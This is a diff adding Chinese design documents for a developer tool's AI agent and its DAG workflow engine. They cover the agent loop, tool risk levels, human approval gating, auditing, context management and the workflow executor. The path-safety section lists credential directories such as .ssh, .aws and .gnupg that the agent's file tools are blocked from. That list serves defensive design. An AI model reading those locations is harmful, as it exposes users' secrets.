│ ├─ idle 120s timeout → 判定断连 │
|
||||||
|
│ └─ 流尽未收 finished → 丢弃残缺 │
|
||||||
|
│ │
|
||||||
|
│ 5. 有 tool_calls? │
|
||||||
|
│ ├─ 无 → 最终文本,break(正常结束) │
|
||||||
|
│ └─ 有 → process_tool_calls │
|
||||||
|
│ ├─ Low 风险 → 自动执行 │
|
||||||
|
│ └─ Medium/High → 进 pending_approvals,暂停循环 │
|
||||||
|
│ │
|
||||||
|
│ 6. 全自动完成 → 继续下一轮 │
|
||||||
|
│ 有 pending → return(generating 保持 true,等审批恢复) │
|
||||||
|
│ │
|
||||||
|
└─ 达 10 轮 → 正常结束 ────────────────────────────────────────┘
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
收尾(后台 spawn,不阻塞 Completed 事件)
|
||||||
|
├─ save_conversation(消息 + token 累加落库)
|
||||||
|
├─ maybe_spawn_extraction(知识提炼)
|
||||||
|
└─ ensure_conversation_title(标题生成)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 退出条件
|
||||||
|
|
||||||
|
| 条件 | 处理 |
|
||||||
|
|------|------|
|
||||||
|
| LLM 只返回文本(无 tool_calls) | 正常结束,emit `AiCompleted` |
|
||||||
|
| 有工具待审批 | 暂停循环,`generating` 保持 `true`,等 `ai_approve` → `try_continue_agent_loop` 恢复 |
|
||||||
|
| 达 `MAX_AGENT_ITERATIONS`(10) | 正常结束 |
|
||||||
|
| 用户请求停止 | 已生成文本入库后退出,emit `AiCompleted` |
|
||||||
|
| 流式错误(idle timeout / 断连) | emit `AiError`,`generating = false`,退出 |
|
||||||
|
|
||||||
|
### 审批恢复
|
||||||
|
|
||||||
|
当用户审批通过最后一个 pending 工具后,`try_continue_agent_loop` 检测到 `generating && pending_approvals.is_empty()`,spawn 新的 `run_agentic_loop` 恢复循环。恢复前 emit `AiAgentRound` 通知前端新建 assistant 消息(审批结果不应追加到发起工具调用的旧消息)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 三、三重可靠性保险
|
||||||
|
|
||||||
|
| 保险层 | 机制 | 防什么 | 代码位置 |
|
||||||
|
|--------|------|--------|---------|
|
||||||
|
| **连接层** | `connect_timeout(30s)`,不设总 timeout | 连不上无限 hang;总 timeout 会误砍流式长任务(流式可持续数分钟) | `openai_compat.rs` / `anthropic_compat.rs` |
|
||||||
|
| **流式层** | 每个 chunk 间 idle timeout 120s | 连上后中途静默无限 hang | `stream_recv.rs` |
|
||||||
|
| **前端层** | 60s streaming watchdog | 后端任何路径漏发收尾事件 → 前端永久 `streaming=true` 卡死 | `stores/ai.ts`(`useAiEvents` composable) |
|
||||||
|
|
||||||
|
**审批等待时 watchdog 暂停**(不计超时),避免用户思考时间被误判。
|
||||||
|
|
||||||
|
### 断连丢弃残缺
|
||||||
|
|
||||||
|
维护 `finished_received` 标志;流尽未收到 finished 信号 → emit `AiError` 并**丢弃残缺响应,不当完整入库**。防脏历史污染对话记录。
|
||||||
|
|
||||||
|
### 停止生成保留文本
|
||||||
|
|
||||||
|
`AiSession.stop_flag: Arc<AtomicBool>` + 多检查点响应(循环顶 / stream 内 / 工具执行前)。停止后**保留已生成文本**——用户主动停止 ≠ 丢弃成果。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、12 个 AI 工具
|
||||||
|
|
||||||
|
### 工具清单
|
||||||
|
|
||||||
|
工具定义在 `tool_registry.rs::build_ai_tool_registry`,编译期硬编码(无运行时动态注册)。
|
||||||
|
|
||||||
|
| 风险 | 工具 | 说明 |
|
||||||
|
|------|------|------|
|
||||||
|
| **Low**(自动执行) | `list_projects` | 列出项目(排软删,截断 50 条) |
|
||||||
|
| **Low** | `list_tasks` | 列出任务(可按 project_id 筛选) |
|
||||||
|
| **Low** | `list_ideas` | 列出灵感 |
|
||||||
|
| **Low** | `read_file` | 读文件(offset/limit 分页,1MB 上限) |
|
||||||
|
| **Low** | `list_directory` | 列目录(噪音剪枝 + 1000 条上限) |
|
||||||
|
| **Medium**(需审批) | `create_project` | 创建项目(可选 path/stack 一步绑定) |
|
||||||
|
| **Medium** | `update_project` | 改字段(复用 CRUD 白名单校验) |
|
||||||
|
| **Medium** | `create_task` | 创建任务 |
|
||||||
|
| **Medium** | `create_idea` | 创建灵感 |
|
||||||
|
| **Medium** | `write_file` | 写文件(自动建父目录,1MB 上限) |
|
||||||
|
| **Medium** | `bind_directory` | 项目绑定代码目录 + 探测技术栈 |
|
||||||
|
| **High**(需审批) | `delete_project` | 删项目(软删进回收站) |
|
||||||
|
| **High** | `run_workflow` | 运行工作流(当前返回提示,未实装) |
|
||||||
|
|
||||||
|
### 工具三要素同源
|
||||||
|
|
||||||
|
每个工具一次 `registry.register` 同时定义:`name + description + schema + RiskLevel + handler 闭包`。handler 即唯一执行路径,schema+risk+实现同源,消除双轨。
|
||||||
|
|
||||||
|
### 路径安全
|
||||||
|
|
||||||
|
- `validate_path`:禁 `..` 路径遍历、禁 `.ssh/.aws/.gnupg/AppData/ProgramData/Windows/System32` 等敏感目录
|
||||||
|
- `resolve_workspace_path`:双层校验(词法 `starts_with` + `canonicalize` 解析 symlink),锚定 `workspace_root`
|
||||||
|
|
||||||
|
### 审计
|
||||||
|
|
||||||
|
每次工具调用写 `ai_tool_executions` 表(V9 建),`audit_finalize` 落盘 executed/rejected + 结果。
|
||||||
|
|
||||||
|
### 已知限制
|
||||||
|
|
||||||
|
- **截断 50 条无翻页**:三个 list 工具 `truncate(50)` 硬截断,无 offset/limit,AI 不知道有数据被漏掉(待改进)
|
||||||
|
- **"能写不能跑"**:AI 有 `write_file` 但无 `run_command`,无法形成"写→跑→改"闭环(待改进)
|
||||||
|
- **工具集封闭**:编译期硬编码,无 MCP 客户端,AI 运行时不能新增/修改工具
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、审批门控机制
|
||||||
|
|
||||||
|
### 流程
|
||||||
|
|
||||||
|
```
|
||||||
|
AI 要执行 create_project(Medium 风险)
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
process_tool_calls → 不自动执行,写入 ai_tool_executions(status=pending)
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
emit AiApprovalRequired → 前端 ToolCard 显示审批按钮
|
||||||
|
│
|
||||||
|
├─ 用户点「同意」→ ai_approve → 执行工具 → try_continue_agent_loop 恢复
|
||||||
|
└─ 用户点「拒绝」→ ai_reject → 跳过执行 → 恢复循环
|
||||||
|
```
|
||||||
|
|
||||||
|
### 持久化
|
||||||
|
|
||||||
|
pending 审批写入 DB(`ai_tool_executions` 表 `status='pending'`),重启后 `restore_pending_approvals` 从 DB 恢复。`ai_conversation_switch` 用 `retain` 保其他对话的 pending(不清空全局 HashMap)。
|
||||||
|
|
||||||
|
### 审批卡片信息
|
||||||
|
|
||||||
|
`build_approval_reason`(`audit.rs`)为 9 种工具拼接 reason 含项目名(`resolve_project_label` 查项目名,查不到 fallback「(项目已不存在, id=xxx)」)。前端 `ToolCard.vue` 对 `id`/`project_id` 字段特化回显项目名。
|
||||||
|
|
||||||
|
### 与工作流审批的区别
|
||||||
|
|
||||||
|
| | AI 工具审批 | 工作流审批 |
|
||||||
|
|---|---|---|
|
||||||
|
| 触发 | AI 对话中调 Medium/High 工具 | DAG 执行到 HumanNode |
|
||||||
|
| 事件 | `AiApprovalRequired` | `HumanApprovalRequest` / `HumanApprovalResponse` |
|
||||||
|
| 恢复 | `ai_approve` → `try_continue_agent_loop` | `approve_human_approval` IPC → EventBus broadcast |
|
||||||
|
| 通道 | 独立链路 | 独立链路(EventBus broadcast) |
|
||||||
|
|
||||||
|
两条审批链路完全独立,不共享事件类型或通道。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 六、上下文窗口管理(ContextManager)
|
||||||
|
|
||||||
|
> 实现在 `crates/df-ai/src/context.rs`,解决长对话 token 暴涨导致 `context_length_exceeded` 死锁。
|
||||||
|
|
||||||
|
### 分组滑动窗口
|
||||||
|
|
||||||
|
```
|
||||||
|
消息历史:[旧] U₁ A₁(tool) T(result) A₁' U₂ A₂(tool) T(result) A₂' U₃ A₃ [新]
|
||||||
|
↑ ↑
|
||||||
|
可淘汰区 保护区(最后6条)
|
||||||
|
|
||||||
|
淘汰单位 = 工具调用三元组(原子性同进同出):
|
||||||
|
Assistant(tool_calls) + Tool(result)* + Assistant(紧随文本)
|
||||||
|
```
|
||||||
|
|
||||||
|
- **保护区**:`PROTECT_COUNT = 6`(≈ 最近 2 个完整用户轮次),永不裁
|
||||||
|
- **裁剪只影响发送视图**:`build_for_request` 返回裁剪版给 LLM;`all_messages_clone` 返回全量给持久化
|
||||||
|
- **Token 估算零依赖**:`chars × 0.35`(保守 ±15%),不引入 tiktoken-rs(5MB BPE 数据文件对 Tauri 打包不友好)
|
||||||
|
- **预算公式**:`(max_tokens 128k − output_reserve 8192) × safety_ratio 0.85 ≈ 101K tokens`
|
||||||
|
|
||||||
|
### 关键方法
|
||||||
|
|
||||||
|
| 方法 | 用途 |
|
||||||
|
|------|------|
|
||||||
|
| `push(message)` | 追加消息并计 token、更新缓存(push 不裁剪,裁剪统一在 build_for_request) |
|
||||||
|
| `build_for_request(sys_tokens)` | 返回裁剪后的消息列表 + 是否发生裁剪 |
|
||||||
|
| `all_messages_clone()` | 返回全量消息(持久化 / 标题生成) |
|
||||||
|
| `restore_from_messages(msgs)` | 切换对话时重建缓存 |
|
||||||
|
| `replace_tool_result_content(tool_call_id, new_content)` | 审批通过/拒绝时回填工具结果(反向 rposition 命中最近一条) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 七、Token 累加
|
||||||
|
|
||||||
|
### 两协议语义差异
|
||||||
|
|
||||||
|
| | OpenAI | Anthropic |
|
||||||
|
|---|---|---|
|
||||||
|
| usage 时机 | 末 chunk 一次性给全量 | message_start(input)+ message_delta(output) |
|
||||||
|
| output_tokens | 最终值 | **累计值**(非增量),直接覆盖不累加 |
|
||||||
|
|
||||||
|
### 跨 loop 实例累加
|
||||||
|
|
||||||
|
审批暂停→恢复 spawn 全新 `run_agentic_loop` 实例,新 loop 局部累加器从 0 起。`save_conversation` 的 upsert 路径 token **读旧值叠加**(非覆盖),保证跨 loop 实例的对话总用量正确。
|
||||||
|
|
||||||
|
```
|
||||||
|
loop 实例 1:prompt=500, completion=200 → save(旧值 None + 500/200)
|
||||||
|
│ 审批暂停
|
||||||
|
▼
|
||||||
|
loop 实例 2:prompt=800, completion=300 → save(旧值 500/200 + 800/300 = 1300/500)
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 八、LLM 并发控制
|
||||||
|
|
||||||
|
`LlmConcurrency`(`state.rs`):双层 Semaphore,运行时可调。
|
||||||
|
|
||||||
|
| Semaphore | 默认 permits | 限流对象 |
|
||||||
|
|-----------|------------|---------|
|
||||||
|
| global | 3 | 全部 LLM 调用(stream_llm / 标题 / 提炼) |
|
||||||
|
| per_conv | 2 | 单对话并发 |
|
||||||
|
|
||||||
|
- permit 仅覆盖 `stream_llm` 调用本身;工具执行(`process_tool_calls`)是本地操作无 RPM 成本,permit 在 stream 后立即释放
|
||||||
|
- Semaphore 重建用「软收敛」策略(替换内层 Arc,旧 permit 不受影响)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 九、知识库集成
|
||||||
|
|
||||||
|
### 知识注入(对话开始时)
|
||||||
|
|
||||||
|
`build_knowledge_context(state, query, config) -> String`:
|
||||||
|
- `auto_inject == false` → 返回空(零开销)
|
||||||
|
- `hybrid_search()` top-3(LIKE 或 LIKE+向量混合)
|
||||||
|
- 每条命中调 `increment_reuse_count`(fire-and-forget)
|
||||||
|
- 格式化为 markdown,注入 system prompt 头部
|
||||||
|
|
||||||
|
### 知识提炼(对话结束后)
|
||||||
|
|
||||||
|
`extract_knowledge_from_conversation(db, conv_id, provider_cfg)`:
|
||||||
|
- 后台 spawn,提炼失败仅 warn 不阻断
|
||||||
|
- 取最后 6 条 user/assistant 消息 → LLM JSON 输出
|
||||||
|
- parse 失败整批丢弃;成功逐条写 `candidate`(待人工审核)
|
||||||
|
|
||||||
|
`maybe_spawn_extraction(...)`:agentic loop 两处正常退出路径(max iterations / 无工具调用 break)统一调用。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 十、切对话不中断路由
|
||||||
|
|
||||||
|
Sprint 8 实现:生成中可切换对话不打断。
|
||||||
|
|
||||||
|
- 后端给所有 event 加 `conversation_id` + spawn 前快照 conv_id
|
||||||
|
- 前端按 id 路由:后台对话事件不污染当前视图
|
||||||
|
- `switchConversation` 加 `_latestSwitchId` 丢弃过期响应
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 十一、Agent 能力边界(四个"无")
|
||||||
|
|
||||||
|
当前系统的硬边界,做设计时不能假设超出这些能力:
|
||||||
|
|
||||||
|
| 能力 | 现状 | 影响 |
|
||||||
|
|------|------|------|
|
||||||
|
| **配置/调用外部工具** | ❌ 无 MCP 客户端,工具全编译期硬编码 | 工具集封闭 |
|
||||||
|
| **自造/迭代工具** | ❌ AI 运行时不能新增/修改工具 | 不能为特定任务临时造工具 |
|
||||||
|
| **执行类工具** | ❌ 无 `run_command`/`run_script` | AI 能写代码但不能运行验证("能写不能跑") |
|
||||||
|
| **agent ↔ workflow 打通** | ❌ `run_workflow` 工具是空壳 | AI 不能在对话中触发工作流 |
|
||||||
|
|
||||||
|
详见 [Agent架构说明-2026-06-14.md](../02-架构设计/Agent架构说明-2026-06-14.md)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 相关文档
|
||||||
|
|
||||||
|
- [df-ai AI 集成模块](./df-ai-AI集成模块-2026-06-12.md) — crate 层(Provider / ContextManager / 工具基础设施)
|
||||||
|
- [Agent架构说明](../02-架构设计/Agent架构说明-2026-06-14.md) — 能力边界盘点
|
||||||
|
- [df-workflow 工作流引擎](./df-workflow-工作流引擎-2026-06-12.md) — DAG 引擎
|
||||||
|
- [DAG 引擎详解](./DAG引擎详解-2026-06-14.md) — 基于代码的引擎详解
|
||||||
|
- [经验记录](../02-架构设计/经验记录-2026-06-14.md) — 踩坑/约定/技巧
|
||||||
372
docs/03-模块文档/DAG引擎详解-2026-06-14.md
Normal file
372
docs/03-模块文档/DAG引擎详解-2026-06-14.md
Normal file
@@ -0,0 +1,372 @@
|
|||||||
|
# DAG 引擎详解
|
||||||
|
|
||||||
|
> 来源:基于 `crates/df-workflow/src/` 实际代码核对编写,2026-06-14
|
||||||
|
> 关联模块文档:[df-workflow-工作流引擎-2026-06-12.md](./df-workflow-工作流引擎-2026-06-12.md)(接口级参考)
|
||||||
|
> 代码版本:Sprint 22 收尾(StateMachine Arc 共享 + 审批取消闭环已落地)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、什么是 DAG
|
||||||
|
|
||||||
|
DAG = **Directed Acyclic Graph(有向无环图)**。DevFlow 用它来编排工作流——把一个复杂任务拆成多个节点,按依赖关系连接,引擎自动算出执行顺序。
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────┐
|
||||||
|
│ 检查环境 │ ← 第 1 层(无依赖,先执行)
|
||||||
|
└────┬────┘
|
||||||
|
│
|
||||||
|
┌────┴────┐
|
||||||
|
│ 运行测试 │ ← 第 2 层(依赖「检查环境」完成)
|
||||||
|
└────┬────┘
|
||||||
|
│
|
||||||
|
┌────┴────┐
|
||||||
|
│ 构建产物 │ ← 第 3 层(依赖「运行测试」完成)
|
||||||
|
└─────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
也可以有分支和并行:
|
||||||
|
|
||||||
|
```
|
||||||
|
┌──────────┐
|
||||||
|
│ 代码扫描 │
|
||||||
|
└──┬───┬───┘ ← 第 1 层
|
||||||
|
│ │
|
||||||
|
┌────┘ └────┐
|
||||||
|
▼ ▼
|
||||||
|
┌──────┐ ┌──────────┐
|
||||||
|
│ 单元测试 │ │ AI 代码审查 │ ← 第 2 层(两个并行执行)
|
||||||
|
└──┬───┘ └────┬─────┘
|
||||||
|
│ │
|
||||||
|
└──────┬───────┘
|
||||||
|
▼
|
||||||
|
┌────────────┐
|
||||||
|
│ 汇总报告 │ ← 第 3 层(等上面两个都完成)
|
||||||
|
└────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二、核心组件(6 个文件,各司其职)
|
||||||
|
|
||||||
|
```
|
||||||
|
用户定义工作流(JSON)
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
┌──────────┐ 序列化/反序列化 ┌──────────┐
|
||||||
|
│ DagDef │ ←──────────────────→ │ 数据库持久化 │
|
||||||
|
│ (dag_def) │ └──────────┘
|
||||||
|
└─────┬─────┘
|
||||||
|
│ NodeRegistry.build_dag()
|
||||||
|
▼
|
||||||
|
┌──────────┐ 拓扑排序分层 ┌──────────────┐
|
||||||
|
│ Dag │ ──────────────────→ │ Vec<Vec<节点>> │
|
||||||
|
│ (dag) │ │ 按层组织 │
|
||||||
|
└──────────┘ └──────┬───────┘
|
||||||
|
│
|
||||||
|
┌──────┴───────┐
|
||||||
|
▼ │
|
||||||
|
┌────────────┐ │
|
||||||
|
│ DagExecutor │ ←─── StateMachine
|
||||||
|
│ (executor) │ (状态转换校验)
|
||||||
|
└──────┬─────┘
|
||||||
|
│
|
||||||
|
┌──────┴─────┐
|
||||||
|
│ EventBus │ → 事件广播到前端
|
||||||
|
│ (eventbus) │
|
||||||
|
└────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.1 DagDef(定义层)— 工作流的"蓝图"
|
||||||
|
|
||||||
|
> 源文件:`dag_def.rs`
|
||||||
|
|
||||||
|
```rust
|
||||||
|
pub struct DagDef {
|
||||||
|
pub nodes: HashMap<String, NodeDef>, // 节点定义
|
||||||
|
pub edges: Vec<EdgeDef>, // 依赖关系
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct NodeDef {
|
||||||
|
pub id: String, // 如 "check-env"
|
||||||
|
pub node_type: String, // 如 "script"、"ai"、"human"
|
||||||
|
pub config: serde_json::Value, // 节点参数(命令、prompt 等)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct EdgeDef {
|
||||||
|
pub source: String, // 如 "check-env"
|
||||||
|
pub target: String, // 如 "run-tests"
|
||||||
|
pub condition: Option<String>, // 可选条件(如 "true")
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
这是**可序列化**的,存到 SQLite 的 `workflow_defs.dag` 字段(JSON),也可以从模板加载。
|
||||||
|
|
||||||
|
### 2.2 Node(节点抽象)— 所有节点的统一接口
|
||||||
|
|
||||||
|
> 源文件:`node.rs`
|
||||||
|
|
||||||
|
```rust
|
||||||
|
#[async_trait]
|
||||||
|
pub trait Node: Send + Sync {
|
||||||
|
async fn execute(&self, ctx: NodeContext) -> NodeResult;
|
||||||
|
fn schema(&self) -> NodeSchema;
|
||||||
|
fn is_blocking(&self) -> bool { false } // 阻塞节点(如人工审批)
|
||||||
|
fn node_type(&self) -> &str;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
每个节点执行时拿到一个 `NodeContext`:
|
||||||
|
|
||||||
|
```rust
|
||||||
|
pub struct NodeContext {
|
||||||
|
pub node_id: String,
|
||||||
|
pub inputs: HashMap<String, NodeOutput>, // 上游节点的输出
|
||||||
|
pub config: serde_json::Value, // 节点配置
|
||||||
|
pub execution_id: String, // 本次执行 ID
|
||||||
|
pub event_bus: EventBus, // 事件总线(发事件给前端)
|
||||||
|
pub node_status: StateMachine, // 共享状态机(检查是否被取消)
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**关键设计**:`node_status` 是 `StateMachine` 的 clone,但内部是 `Arc<Mutex<HashMap>>`,所以 clone 共享同一底层数据——外部 IPC 调 `set_cancelled` 写入后,运行中的节点能立即读到。
|
||||||
|
|
||||||
|
### 2.3 Dag(运行时图)+ 拓扑排序
|
||||||
|
|
||||||
|
> 源文件:`dag.rs`
|
||||||
|
|
||||||
|
`DagDef` 是数据蓝图,`Dag` 是装入真实节点实例的运行时图。核心方法是 `topological_layers()`:
|
||||||
|
|
||||||
|
```
|
||||||
|
输入:节点 + 边的依赖关系
|
||||||
|
输出:Vec<Vec<NodeId>> —— 分层的节点 ID
|
||||||
|
|
||||||
|
算法:Kahn 算法(BFS 分层)
|
||||||
|
1. 算每个节点的入度(有多少上游)
|
||||||
|
2. 入度=0 的节点入队(第一层)
|
||||||
|
3. 取出一层节点,将它们的下游入度 -1
|
||||||
|
4. 入度归零的下游入队(下一层)
|
||||||
|
5. 重复直到所有节点处理完
|
||||||
|
6. 如果处理数 ≠ 节点总数 → 有环,报错
|
||||||
|
```
|
||||||
|
|
||||||
|
复杂度 O(V+E):一次性遍历边构建邻接索引(出边表)与入度表,BFS 分层只走索引查询(每条边仅被访问一次)。
|
||||||
|
|
||||||
|
这就是引擎的核心智能:**用户只需画依赖关系(谁依赖谁),引擎自动算出执行顺序和并行机会**。
|
||||||
|
|
||||||
|
### 2.4 DagExecutor(执行器)— 三阶段调度
|
||||||
|
|
||||||
|
> 源文件:`executor.rs`
|
||||||
|
|
||||||
|
```rust
|
||||||
|
pub async fn run(&mut self, dag: &Dag, config: Value) -> Result<HashMap<NodeId, NodeOutput>>
|
||||||
|
```
|
||||||
|
|
||||||
|
对每一层执行**三阶段模式**:
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─ 阶段一:准备 ──────────────────────────────────────┐
|
||||||
|
│ 遍历层内每个节点: │
|
||||||
|
│ ① emit NodeStarted 事件 │
|
||||||
|
│ ② state_machine.set_running(Pending→Running) │
|
||||||
|
│ ③ 收集上游输出作为 inputs │
|
||||||
|
│ ④ 构建 NodeContext │
|
||||||
|
│ ⑤ 创建 async future(不立即执行) │
|
||||||
|
└──────────────────────────────────────────────────────┘
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
┌─ 阶段二:并发执行 ───────────────────────────────────┐
|
||||||
|
│ futures::future::join_all(node_futures).await │
|
||||||
|
│ │
|
||||||
|
│ 同层所有节点真正并发跑(tokio 异步运行时) │
|
||||||
|
│ 等待全部完成(或某个失败) │
|
||||||
|
└──────────────────────────────────────────────────────┘
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
┌─ 阶段三:收尾 ───────────────────────────────────────┐
|
||||||
|
│ 遍历结果: │
|
||||||
|
│ ✅ 成功 → set_completed + emit NodeCompleted + 存输出 │
|
||||||
|
│ ❌ 失败 → set_failed + emit NodeFailed + 记录错误 │
|
||||||
|
│ 🚫 取消 → 跳过 set_failed(Cancelled 是终态) │
|
||||||
|
│ │
|
||||||
|
│ 任一失败 → return Err,后续层不执行 │
|
||||||
|
│ 全部成功 → 进入下一层 │
|
||||||
|
└──────────────────────────────────────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
**为什么三阶段不合并?** 避免 Rust 的借用冲突——阶段一需要 `&self`(读状态机),阶段二的 future 捕获节点引用独立运行,阶段三回来再更新 `&mut self`。
|
||||||
|
|
||||||
|
**入边索引优化**:执行前预建 `adjacency_in: HashMap<NodeId, Vec<NodeId>>`(O(E) 一次构建),避免内层循环中调用 `dag.predecessors()`(每次 O(E) 全表扫描,整体退化 O(V·E))。
|
||||||
|
|
||||||
|
### 2.5 StateMachine(状态机)— 防止非法状态转换
|
||||||
|
|
||||||
|
> 源文件:`state.rs`
|
||||||
|
|
||||||
|
```
|
||||||
|
合法转换图:
|
||||||
|
|
||||||
|
Pending ──→ Running ──→ Completed ✅ 正常完成
|
||||||
|
│
|
||||||
|
└──→ Failed ❌ 执行失败
|
||||||
|
|
||||||
|
任何节点 ←── set_cancelled 🚫 外部取消(不走转换校验)
|
||||||
|
```
|
||||||
|
|
||||||
|
```rust
|
||||||
|
fn is_legal(from: &NodeStatus, to: &NodeStatus) -> bool {
|
||||||
|
matches!((from, to),
|
||||||
|
(Pending, Running) // 启动
|
||||||
|
| (Running, Completed) // 完成
|
||||||
|
| (Running, Failed) // 失败
|
||||||
|
)
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
非法转换直接 `bail!`(如 Pending → Completed 跳过执行),防止状态被意外覆盖。
|
||||||
|
|
||||||
|
**共享语义**是关键:
|
||||||
|
|
||||||
|
```rust
|
||||||
|
pub struct StateMachine {
|
||||||
|
states: Arc<Mutex<HashMap<NodeId, NodeStatus>>>,
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
`clone()` 只是 Arc 引用计数 +1,所有副本共享同一 HashMap。这让取消机制可以跨边界工作:
|
||||||
|
|
||||||
|
```
|
||||||
|
前端点「取消审批」
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
cancel_workflow_node IPC
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
AppState.workflow_state_registry[execution_id].set_cancelled(node_id)
|
||||||
|
│ (写入共享 HashMap)
|
||||||
|
▼
|
||||||
|
HumanNode.execute 内部 ctx.node_status.is_cancelled() → true
|
||||||
|
│ (读到写入,因为是同一份 HashMap)
|
||||||
|
▼
|
||||||
|
返回 Err("人工审批被取消")
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
Executor 检测到 is_cancelled → 跳过 set_failed(避免 Cancelled→Failed 非法转换)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.6 EventBus(事件总线)— 对外广播
|
||||||
|
|
||||||
|
> 源文件:`eventbus.rs`
|
||||||
|
|
||||||
|
```rust
|
||||||
|
pub struct EventBus {
|
||||||
|
sender: broadcast::Sender<WorkflowEvent>, // tokio broadcast
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
容量 256,所有事件通过 `broadcast` 广播。Tauri IPC 层订阅后转发给前端:
|
||||||
|
|
||||||
|
```
|
||||||
|
Executor 发事件 → EventBus broadcast → IPC 层 listen → app.emit("workflow-event") → 前端实时展示
|
||||||
|
```
|
||||||
|
|
||||||
|
事件类型:`NodeStarted` / `NodeCompleted` / `NodeFailed` / `WorkflowCompleted` / `HumanApprovalRequest` / `HumanApprovalResponse`
|
||||||
|
|
||||||
|
### 2.7 ConditionEngine(条件分支)— 当前最简实现
|
||||||
|
|
||||||
|
> 源文件:`conditions.rs`
|
||||||
|
|
||||||
|
```rust
|
||||||
|
pub fn evaluate(expr: &str, _context: &Value) -> Result<bool> {
|
||||||
|
if expr.trim() == "true" { return Ok(true); }
|
||||||
|
if expr.trim() == "false" { return Ok(false); }
|
||||||
|
// 其他一律 false(保守拒绝,不静默放行)
|
||||||
|
Ok(false)
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
边上的 `condition` 字段目前只认 `"true"` / `"false"` 字面量。升级为真表达式求值是待办(T-260614-11)。
|
||||||
|
|
||||||
|
### 2.8 NodeRegistry(节点注册表)— 工厂模式创建节点
|
||||||
|
|
||||||
|
> 源文件:`registry.rs`
|
||||||
|
|
||||||
|
```rust
|
||||||
|
pub struct NodeRegistry {
|
||||||
|
factories: HashMap<String, NodeFactory>,
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
核心方法 `build_dag(def: &DagDef) -> Result<Dag>`:遍历 DagDef 的节点定义,按 `node_type` 查工厂函数创建真实节点实例,组装成运行时 Dag。
|
||||||
|
|
||||||
|
**不实现 Default trait**:原 Default 注册了一个会 panic 的 script 工厂(`unimplemented!`),违反项目铁律「无 panic」。所有调用方必须显式 `new()` + 手动 `register` 真实节点。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 三、一次完整的执行流程
|
||||||
|
|
||||||
|
以 ProjectDetail.vue 中的 3 节点工作流为例:
|
||||||
|
|
||||||
|
```
|
||||||
|
用户点「运行工作流」
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
IPC: run_workflow(dag_json)
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
① NodeRegistry.build_dag(dag_def)
|
||||||
|
→ 从 JSON 创建 3 个真实节点实例 + 边
|
||||||
|
→ 运行时 Dag
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
② Dag.topological_layers()
|
||||||
|
→ 算出分层:[["check-env"], ["run-tests"], ["build"]]
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
③ DagExecutor.new(event_bus, execution_id).run(dag, config)
|
||||||
|
│
|
||||||
|
├─ 第 1 层 ["check-env"]
|
||||||
|
│ ├─ set_running("check-env")
|
||||||
|
│ ├─ ScriptNode.execute(ctx) → tokio::process::Command("cmd /C node -v")
|
||||||
|
│ └─ set_completed("check-env") + emit NodeCompleted
|
||||||
|
│
|
||||||
|
├─ 第 2 层 ["run-tests"]
|
||||||
|
│ ├─ inputs = { "check-env": 上一步输出 }
|
||||||
|
│ ├─ set_running("run-tests")
|
||||||
|
│ ├─ ScriptNode.execute(ctx) → cmd /C npm test
|
||||||
|
│ └─ set_completed("run-tests")
|
||||||
|
│
|
||||||
|
└─ 第 3 层 ["build"]
|
||||||
|
├─ set_running("build")
|
||||||
|
├─ ScriptNode.execute(ctx) → cmd /C npm run build
|
||||||
|
└─ set_completed("build") + emit WorkflowCompleted
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
④ 返回 HashMap<节点ID, 输出> + 前端实时看到日志
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、现有节点类型
|
||||||
|
|
||||||
|
| 节点 | 实现状态 | 能力 |
|
||||||
|
|------|---------|------|
|
||||||
|
| **ScriptNode** | ✅ 真实可用 | 执行 Shell 命令(Windows: `cmd /C`),非零退出码判断为失败 |
|
||||||
|
| **AiNode** | ✅ 真实可用 | 调用 LLM(OpenAI/Anthropic),config 驱动 provider(base_url/api_key/model/prompt),支持上游输入优先 |
|
